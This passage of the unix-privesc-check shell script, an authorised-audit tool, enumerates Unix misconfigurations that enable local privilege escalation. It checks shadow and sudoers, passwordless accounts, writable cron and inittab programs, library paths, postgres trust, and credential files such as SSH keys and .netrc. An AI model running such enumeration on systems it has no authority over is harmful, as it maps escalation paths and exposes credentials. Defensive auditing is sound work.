Public License for more details. 23 | # 24 | # You should have received a copy of the GNU General Public License along 25 | # with this program; if not, write to the Free Software Foundation, Inc., 26 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 27 | # 28 | # You are encouraged to send comments, improvements or suggestions to 29 | # me at pentestmonkey@pentestmonkey.net 30 | # 31 | # 32 | # Description 33 | # ----------- 34 | # Auditing tool to check for weak file permissions and other problems that 35 | # may allow local attackers to escalate privileges. 36 | # 37 | # It is intended to be run by security auditors and pentetration testers 38 | # against systems they have been engaged to assess, and also by system 39 | # admnisitrators who want to check for "obvious" misconfigurations. It 40 | # can even be run as a cron job so you can check regularly for misconfigurations 41 | # that might be introduced. 42 | # 43 | # Ensure that you have the appropriate legal permission before running it 44 | # someone else's system. 45 | # 46 | # TODO List 47 | # --------- 48 | # There's still plenty that this script doesn't do... 49 | # - Doesn't work for shell scripts! These appear as "/bin/sh my.sh" in the process listing. 50 | # This script only checks the perms of /bin/sh. Not what we're after. :-( 51 | # - Similarly for perl scripts. Probably python, etc. too. 52 | # - Check /proc/pid/cmdline for absolute path names. Check security of these (e.g. /etc/snmp/snmpd.conf) 53 | # - Check everything in root's path - how to find root's path? 54 | # - /proc/pid/maps, smaps are readable and lists some shared objects. We should check these. 55 | # - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs) 56 | # - check for trust relationships in /etc/hosts.equiv 57 | # - NFS imports / exports / automounter 58 | # - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems) 59 | # - Inspecting people's PATH. tricky. maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile 60 | # - Check if /etc/init.d/* scripts are readable. Advise user to audit them if they are. 61 | # - .exrc? 62 | # - X11 trusts, apache passwd files, mysql trusts? 63 | # - Daemons configured in an insecure way: tftpd, sadmind, rexd 64 | # - World writable dirs aren't as bad if the sticky bit is set. Check for this before reporting vulns. 65 | # - Maybe do a strings of binaries (and their .so's?) 66 | # - Do a better job of parsing cron lines - search for full paths 67 | # - Maybe LDPATHs from /etc/env.d 68 | # - Check if ldd, ld.so.conf changes have broken this script on non-linux systems. 69 | # - Avoid check certain paths e.g. /-/_ clearly isn't a real directory. 70 | # - create some sort of readable report 71 | # - indicate when it's likely a result is a false positive and when it's not. 72 | # - Skip pseudo processes e.g. [usb-storage] 73 | # - File permission on kernel modules 74 | # - Replace calls to echo with a my_echo func. Should be passed a string and an "importance" value: 75 | # - my_echo 1 "This is important and should always be printed out" 76 | # - my_echo 2 "This is less important and should only be printed in verbose mode" 77 | # - We check some files / dirs multiple times. Slow. Can we implement a cache? 78 | # - grep for PRIVATE KEY to find private ssh and ssl keys. Where to grep? 79 | # - check SGID programs 80 | 81 | VERSION="1.4" 82 | HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward" 83 | CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers" 84 | PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data" 85 | 86 | get_owner () { 87 | GET_OWNER_FILE=$1 88 | GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` 89 | } 90 | 91 | get_group () { 92 | GET_GROUP_FILE=$1 93 | GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` 94 | } 95 | 96 | usage () { 97 | echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" 98 | echo 99 | echo "Usage: unix-privesc-check { standard | detailed }" 100 | echo 101 | echo '"standard" mode: Speed-optimised check of lots of security settings.' 102 | echo 103 | echo '"detailed" mode: Same as standard mode, but also checks perms of open file' 104 | echo ' handles and called files (e.g. parsed from shell scripts,' 105 | echo ' linked .so files). This mode is slow and prone to false ' 106 | echo ' positives but might help you find more subtle flaws in 3rd' 107 | echo ' party programs.' 108 | echo 109 | echo "This script checks file permissions and other settings that could allow" 110 | echo "local users to escalate privileges." 111 | echo 112 | echo "Use of this script is only permitted on systems which you have been granted" 113 | echo "legal permission to perform a security assessment of. Apart from this " 114 | echo "condition the GPL v2 applies." 115 | echo 116 | echo "Search the output for the word 'WARNING'. If you don't see it then this" 117 | echo "script didn't find any problems." 118 | echo 119 | } 120 | 121 | banner () { 122 | echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" 123 | echo 124 | echo "This script checks file permissions and other settings that could allow" 125 | echo "local users to escalate privileges." 126 | echo 127 | echo "Use of this script is only permitted on systems which you have been granted" 128 | echo "legal permission to perform a security assessment of. Apart from this " 129 | echo "condition the GPL v2 applies." 130 | echo 131 | echo "Search the output below for the word 'WARNING'. If you don't see it then" 132 | echo "this script didn't find any problems." 133 | echo 134 | } 135 | 136 | MODE=$1 137 | 138 | if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then 139 | usage 140 | exit 0 141 | fi 142 | 143 | # Parse any full paths from $1 (config files, progs, dirs). 144 | # Check the permissions on each of these. 145 | check_called_programs () { 146 | CCP_MESSAGE_STACK=$1 147 | CCP_FILE=$2 148 | CCP_USER=$3 149 | CCP_PATH=$4 # optional 150 | 151 | # Check the perms of the supplied file regardless 152 | # The caller doesn't want to have to call check_perms as well as check_called_programs 153 | check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" 154 | 155 | # Skip the slow check if we're in quick mode 156 | if [ "$MODE" = "standard" ]; then 157 | return 0; 158 | fi 159 | 160 | # Check if file is text or not 161 | IS_TEXT=`file "$CCP_FILE" | grep -i text` 162 | IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` 163 | 164 | # Process shell scripts (would also work on config files that reference other files) 165 | if [ ! -z "$IS_TEXT" ]; then 166 | # Parse full paths from file - ignoring commented lines 167 | CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` 168 | for CALLED_FILE in $CALLED_FILES; do 169 | # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." 170 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 171 | done 172 | else 173 | # Process dynamically linked binaries 174 | if [ ! -z "$IS_DYNBIN" ]; then 175 | 176 | CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` 177 | for CALLED_FILE in $CALLED_FILES; do 178 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 179 | done 180 | 181 | # Strings binary to look for hard-coded config files 182 | # or other programs that might be called. 183 | for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do 184 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 185 | done 186 | fi 187 | fi 188 | } 189 | 190 | # Parse any full paths from $1 (config files, progs, dirs). 191 | # Check the permissions on each of these. 192 | check_called_programs_suid () { 193 | CCP_FILE=$1 194 | CCP_PATH=$2 # optional 195 | 196 | get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN 197 | CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER." 198 | LS=`ls -l $CCP_FILE` 199 | echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS" 200 | 201 | # Don't check perms of executable itself 202 | # check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" 203 | 204 | # Check if file is text or not 205 | IS_TEXT=`file "$CCP_FILE" | grep -i text` 206 | IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` 207 | 208 | # Process shell scripts (would also work on config files that reference other files) 209 | if [ ! -z "$IS_TEXT" ]; then 210 | # Skip the slow check if we're in quick mode 211 | if [ "$MODE" = "standard" ]; then 212 | return 0; 213 | fi 214 | 215 | # Parse full paths from file - ignoring commented lines 216 | CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` 217 | for CALLED_FILE in $CALLED_FILES; do 218 | # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." 219 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 220 | done 221 | else 222 | # Process dynamically linked binaries 223 | if [ ! -z "$IS_DYNBIN" ]; then 224 | 225 | CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` 226 | for CALLED_FILE in $CALLED_FILES; do 227 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 228 | done 229 | 230 | # Skip the slow check if we're in quick mode 231 | if [ "$MODE" = "standard" ]; then 232 | return 0; 233 | fi 234 | 235 | # Strings binary to look for hard-coded config files 236 | # or other programs that might be called. 237 | for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do 238 | check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" 239 | done 240 | fi 241 | fi 242 | } 243 | 244 | # Check if $1 can be changed by users who are not $2 245 | check_perms () { 246 | CP_MESSAGE_STACK=$1 247 | CHECK_PERMS_FILE=$2 248 | CHECK_PERMS_USER=$3 249 | CHECK_PERMS_PATH=$4 # optional 250 | 251 | if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then 252 | CHECK_PERMS_FOUND=0 253 | if [ ! -z "$CHECK_PERMS_PATH" ]; then 254 | # Look for it in the supplied path 255 | for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do 256 | if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then 257 | CHECK_PERMS_FOUND=1 258 | CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE" 259 | break 260 | fi 261 | done 262 | fi 263 | 264 | #if [ "$CHECK_PERMS_FOUND" = "0" ]; then 265 | # echo "ERROR: File $CHECK_PERMS_FILE doesn't exist. Checking parent path anyway." 266 | # # return 0 267 | # fi 268 | fi 269 | 270 | C=`echo "$CHECK_PERMS_FILE" | cut -c 1` 271 | if [ ! "$C" = "/" ]; then 272 | echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE. Skipping." 273 | return 0 274 | fi 275 | 276 | echo " Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE" 277 | 278 | while [ -n "$CHECK_PERMS_FILE" ]; do 279 | perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER 280 | CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'` 281 | done 282 | } 283 | 284 | # Check if $1 can be read by users who are not $2 285 | check_read_perms () { 286 | CP_MESSAGE_STACK=$1 287 | CHECK_PERMS_FILE=$2 288 | CHECK_PERMS_USER=$3 289 | 290 | if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then 291 | echo "ERROR: File $CHECK_PERMS_FILE doesn't exist" 292 | return 0 293 | fi 294 | 295 | echo " Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE" 296 | 297 | perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER" 298 | } 299 | 300 | perms_secure_read () { 301 | PS_MESSAGE_STACK=$1 302 | PERMS_SECURE_FILE=$2 303 | PERMS_SECURE_USER=$3 304 | 305 | if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then 306 | echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." 307 | return 0 308 | fi 309 | 310 | # Check if owner is different (but ignore root ownership, that's OK) 311 | only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER 312 | 313 | # Check group read perm (but ignore root group, that's OK) 314 | group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER 315 | 316 | # Check world read perm 317 | world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE 318 | } 319 | 320 | perms_secure () { 321 | PS_MESSAGE_STACK=$1 322 | PERMS_SECURE_FILE=$2 323 | PERMS_SECURE_USER=$3 324 | 325 | if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then 326 | # echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." 327 | return 0 328 | fi 329 | 330 | # Check if owner is different (but ignore root ownership, that's OK) 331 | only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER 332 | 333 | # Check group write perm (but ignore root group, that's OK) 334 | group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER 335 | 336 | # Check world write perm 337 | world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE 338 | } 339 | 340 | only_user_can_write () { 341 | O_MESSAGE_STACK=$1 342 | O_FILE=$2 343 | O_USER=$3 344 | 345 | # We just need to check the owner really as the owner 346 | # can always grant themselves write access 347 | get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN 348 | if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then 349 | echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE" 350 | fi 351 | } 352 | 353 | group_can_write () { 354 | O_MESSAGE_STACK=$1 355 | O_FILE=$2 356 | O_USER=$3 # ignore group write access $3 is only member of group 357 | 358 | get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN 359 | P=`ls -lLd $O_FILE | cut -c 6` 360 | if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then 361 | # check the group actually has some members other than $O_USER 362 | group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 363 | if [ "$OTHER_MEMBERS" = "1" ]; then 364 | echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE" 365 | fi 366 | fi 367 | } 368 | 369 | group_has_other_members () { 370 | G_GROUP=$1 371 | G_USER=$2 372 | 373 | # If LDAP/NIS is being used this script can't check group memberships 374 | # we therefore assume the worst. 375 | if [ "$EXT_AUTH" = 1 ]; then 376 | OTHER_MEMBERS=1 377 | return 1 378 | fi 379 | 380 | GROUP_LINE=`grep "^$G_GROUP:" /etc/group` 381 | MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'` 382 | 383 | GID=`echo "$GROUP_LINE" | cut -f 3 -d :` 384 | EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo` 385 | 386 | for M in $MEMBERS; do 387 | if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then 388 | OTHER_MEMBERS=1 389 | return 1 390 | fi 391 | done 392 | 393 | for M in $EXTRA_MEMBERS; do 394 | if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then 395 | OTHER_MEMBERS=1 396 | return 1 397 | fi 398 | done 399 | 400 | OTHER_MEMBERS=0 401 | return 0 402 | } 403 | 404 | world_can_write () { 405 | O_MESSAGE_STACK=$1 406 | O_FILE=$2 407 | 408 | P=`ls -lLd $O_FILE | cut -c 9` 409 | S=`ls -lLd $O_FILE | cut -c 10` 410 | 411 | if [ "$P" = "w" ]; then 412 | if [ "$S" = "t" ]; then 413 | echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)" 414 | else 415 | echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE" 416 | fi 417 | fi 418 | } 419 | 420 | only_user_can_read () { 421 | O_MESSAGE_STACK=$1 422 | O_FILE=$2 423 | O_USER=$3 424 | 425 | # We just need to check the owner really as the owner 426 | # can always grant themselves read access 427 | get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN 428 | if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then 429 | echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE" 430 | fi 431 | } 432 | 433 | group_can_read () { 434 | O_MESSAGE_STACK=$1 435 | O_FILE=$2 436 | O_USER=$3 437 | 438 | get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN 439 | P=`ls -lLd $O_FILE | cut -c 5` 440 | if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then 441 | # check the group actually has some members other than $O_USER 442 | group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 443 | if [ "$OTHER_MEMBERS" = "1" ]; then 444 | echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE" 445 | fi 446 | fi 447 | } 448 | 449 | world_can_read () { 450 | O_MESSAGE_STACK=$1 451 | O_FILE=$2 452 | 453 | P=`ls -lLd $O_FILE | cut -c 8` 454 | 455 | if [ "$P" = "w" ]; then 456 | echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE" 457 | fi 458 | } 459 | 460 | section () { 461 | echo 462 | echo '############################################' 463 | echo $1 464 | echo '############################################' 465 | } 466 | 467 | # Guess OS 468 | if [ -x /usr/bin/showrev ]; then 469 | OS="solaris" 470 | SHADOW="/etc/shadow" 471 | elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then 472 | OS="hpux" 473 | SHADOW="/etc/shadow" 474 | elif [ -f /etc/master.passwd ]; then 475 | OS="bsd" 476 | SHADOW="/etc/master.passwd" 477 | else 478 | OS="linux" 479 | SHADOW="/etc/shadow" 480 | fi 481 | echo "Assuming the OS is: $OS" 482 | CONFIG_FILES="$CONFIG_FILES $SHADOW" 483 | 484 | # Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. 485 | PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH 486 | 487 | # Check dependent programs are installed 488 | # Assume "which" is installed! 489 | PROGS="ls awk grep cat mount xargs file ldd strings" 490 | for PROG in $PROGS; do 491 | which $PROG 2>&1 > /dev/null 492 | if [ ! $? = "0" ]; then 493 | echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" 494 | exit 1 495 | fi 496 | done 497 | 498 | banner 499 | 500 | section "Recording hostname" 501 | hostname 502 | 503 | section "Recording uname" 504 | uname -a 505 | 506 | section "Recording Interface IP addresses" 507 | if [ $OS = 'hpux' ]; then 508 | for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do 509 | ifconfig $IFACE 2>/dev/null 510 | done 511 | else 512 | ifconfig -a 513 | fi 514 | 515 | section "Checking if external authentication is allowed in /etc/passwd" 516 | FLAG=`grep '^+:' /etc/passwd` 517 | if [ -n "$FLAG" ]; then 518 | echo "WARNING: /etc/passwd allows external authentcation:" 519 | grep '^+:' /etc/passwd 520 | EXT_AUTH=1 521 | else 522 | echo "No +:... line found in /etc/passwd" 523 | fi 524 | 525 | section "Checking nsswitch.conf for addition authentication methods" 526 | if [ -r "/etc/nsswitch.conf" ]; then 527 | NIS=`grep '^passwd' /etc/nsswitch.conf | grep 'nis'` 528 | if [ -n "$NIS" ]; then 529 | echo "WARNING: NIS is used for authentication on this system" 530 | EXT_AUTH=1 531 | fi 532 | LDAP=`grep '^passwd' /etc/nsswitch.conf | grep 'ldap'` 533 | if [ -n "$LDAP" ]; then 534 | echo "WARNING: LDAP is used for authentication on this system" 535 | EXT_AUTH=1 536 | fi 537 | 538 | if [ -z "$NIS" ] && [ -z "$LDAP" ]; then 539 | echo "Neither LDAP nor NIS are used for authentication" 540 | fi 541 | else 542 | echo "ERROR: File /etc/nsswitch.conf isn't readable. Skipping checks." 543 | fi 544 | 545 | # Check important config files aren't writable 546 | section "Checking for writable config files" 547 | for FILE in $CONFIG_FILES; do 548 | if [ -f "$FILE" ]; then 549 | check_perms "$FILE is a critical config file." "$FILE" root 550 | fi 551 | done 552 | 553 | section "Checking if $SHADOW is readable" 554 | check_read_perms "/etc/shadow holds authentication data" $SHADOW root 555 | 556 | section "Checking for password hashes in /etc/passwd" 557 | FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'` 558 | if [ -n "$FLAG" ]; then 559 | echo "WARNING: There seem to be some password hashes in /etc/passwd" 560 | grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#' 561 | EXT_AUTH=1 562 | else 563 | echo "No password hashes found in /etc/passwd" 564 | fi 565 | 566 | section "Checking account settings" 567 | # Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd 568 | # We only need read access to /etc/passwd to be able to check this. 569 | if [ -r "/etc/passwd" ]; then 570 | OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"` 571 | if [ -n "$OPEN" ]; then 572 | echo "WARNING: The following accounts have no password:" 573 | grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":" 574 | fi 575 | fi 576 | if [ -r "$SHADOW" ]; then 577 | echo "Checking for accounts with no passwords" 578 | if [ "$OS" = "linux" ]; then 579 | passwd -S -a | while read LINE 580 | do 581 | USER=`echo "$LINE" | awk '{print $1}'` 582 | STATUS=`echo "$LINE" | awk '{print $2}'` 583 | if [ "$STATUS" = "NP" ]; then 584 | echo "WARNING: User $USER doesn't have a password" 585 | fi 586 | done 587 | elif [ "$OS" = "solaris" ]; then 588 | passwd -s -a | while read LINE 589 | do 590 | USER=`echo "$LINE" | awk '{print $1}'` 591 | STATUS=`echo "$LINE" | awk '{print $2}'` 592 | if [ "$STATUS" = "NP" ]; then 593 | echo "WARNING: User $USER doesn't have a password" 594 | fi 595 | done 596 | fi 597 | else 598 | echo "File $SHADOW isn't readable. Skipping some checks." 599 | fi 600 | 601 | section "Checking library directories from /etc/ld.so.conf" 602 | if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then 603 | for DIR in `grep '^/' /etc/ld.so.conf`; do 604 | check_perms "$DIR is in /etc/ld.so.conf." $DIR root 605 | done 606 | 607 | #FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'` 608 | #if [ ! -z "$FILES" ]; then 609 | # for DIR in `echo $FILES | xargs cat | sort -u`; do 610 | # done 611 | #fi 612 | else 613 | echo "File /etc/ld.so.conf not present. Skipping checks." 614 | fi 615 | 616 | # Check sudoers if we have permission - needs root normally 617 | section "Checking sudo configuration" 618 | if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then 619 | echo ----------------- 620 | echo "Checking if sudo is configured" 621 | SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =` 622 | if [ ! -z "$SUDO_USERS" ]; then 623 | echo "WARNING: Sudo is configured. Manually check nothing unsafe is allowed:" 624 | grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default' 625 | fi 626 | 627 | echo ----------------- 628 | echo "Checking sudo users need a password" 629 | SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD` 630 | if [ ! -z "$SUDO_NOPASSWD" ]; then 631 | echo "WARNING: Some users can use sudo without a password:" 632 | grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD 633 | fi 634 | else 635 | echo "File /etc/sudoers not present. Skipping checks." 636 | fi 637 | 638 | section "Checking permissions on swap file(s)" 639 | for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do 640 | check_perms "$SWAP is used for swap space." $SWAP root 641 | check_read_perms "$SWAP is used for swap space." $SWAP root 642 | done 643 | 644 | section "Checking programs run from inittab" 645 | if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then 646 | for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do 647 | check_called_programs "$FILE is run from /etc/inittab as root." $FILE root 648 | done 649 | else 650 | echo "File /etc/inittab not present. Skipping checks." 651 | fi 652 | 653 | section "Checking postgres trust relationships" 654 | for DIR in $PGDIRS; do 655 | if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then 656 | grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE 657 | do 658 | AUTH=`echo "$LINE" | awk '{print $NF}'` 659 | if [ "$AUTH" = "trust" ]; then 660 | PGTRUST=1 661 | echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" 662 | fi 663 | done 664 | fi 665 | done 666 | 667 | PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` 668 | 669 | if [ -n "$PGVER1" ]; then 670 | PGTRUST=1 671 | echo "WARNING: Can connect to local postgres database as \"postgres\" without a password" 672 | fi 673 | 674 | PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` 675 | 676 | if [ -n "$PGVER2" ]; then 677 | PGTRUST=1 678 | echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password" 679 | fi 680 | 681 | if [ -z "$PGTRUST" ]; then 682 | echo "No postgres trusts detected" 683 | fi 684 | 685 | # Check device files for mounted file systems are secure 686 | # cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root 687 | section "Checking permissions on device files for mounted partitions" 688 | if [ "$OS" = "linux" ]; then 689 | mount | while read LINE 690 | do 691 | DEVICE=`echo "$LINE" | awk '{print $1}'` 692 | FS=`echo "$LINE" | awk '{print $5}'` 693 | if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then 694 | echo "Checking device $DEVICE" 695 | check_perms "$DEVICE is a mounted file system." $DEVICE root 696 | fi 697 | done 698 | elif [ "$OS" = "bsd" ]; then 699 | mount | grep ufs | while read LINE 700 | do 701 | DEVICE=`echo "$LINE" | awk '{print $1}'` 702 | echo "Checking device $DEVICE" 703 | check_perms "$DEVICE is a mounted file system." $DEVICE root 704 | done 705 | elif [ "$OS" = "solaris" ]; then 706 | mount | grep xattr | while read LINE 707 | do 708 | DEVICE=`echo "$LINE" | awk '{print $3}'` 709 | if [ ! "$DEVICE" = "swap" ]; then 710 | echo "Checking device $DEVICE" 711 | check_perms "$DEVICE is a mounted file system." $DEVICE root 712 | fi 713 | done 714 | elif [ "$OS" = "hpux" ]; then 715 | mount | while read LINE 716 | do 717 | DEVICE=`echo "$LINE" | awk '{print $3}'` 718 | C=`echo $DEVICE | cut -c 1` 719 | if [ "$C" = "/" ]; then 720 | echo "Checking device $DEVICE" 721 | check_perms "$DEVICE is a mounted file system." $DEVICE root 722 | fi 723 | done 724 | 725 | NFS=`mount | grep NFS` 726 | if [ -n "$NFS" ]; then 727 | echo "WARNING: This system is an NFS client. Check for nosuid and nodev options." 728 | mount | grep NFS 729 | fi 730 | fi 731 | 732 | # Check cron jobs if they're readable 733 | # TODO check that cron is actually running 734 | section "Checking cron job programs aren't writable (/etc/crontab)" 735 | CRONDIRS="" 736 | if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then 737 | MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = ` 738 | echo Crontab path is $MYPATH 739 | 740 | # Check if /etc/cron.(hourly|daily|weekly|monthly) are being used 741 | CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons` 742 | 743 | # Process run-parts 744 | grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE 745 | do 746 | echo "Processing crontab run-parts entry: $LINE" 747 | USER=`echo "$LINE" | awk '{print $6}'` 748 | DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'` 749 | check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" 750 | if [ -d "$DIR" ]; then 751 | echo " Checking directory: $DIR" 752 | for FILE in $DIR/*; do 753 | FILENAME=`echo "$FILE" | sed 's/.*\///'` 754 | if [ "$FILENAME" = "*" ]; then 755 | echo " No files in this directory." 756 | continue 757 | fi 758 | check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER" 759 | done 760 | fi 761 | done 762 | 763 | # TODO bsd'd 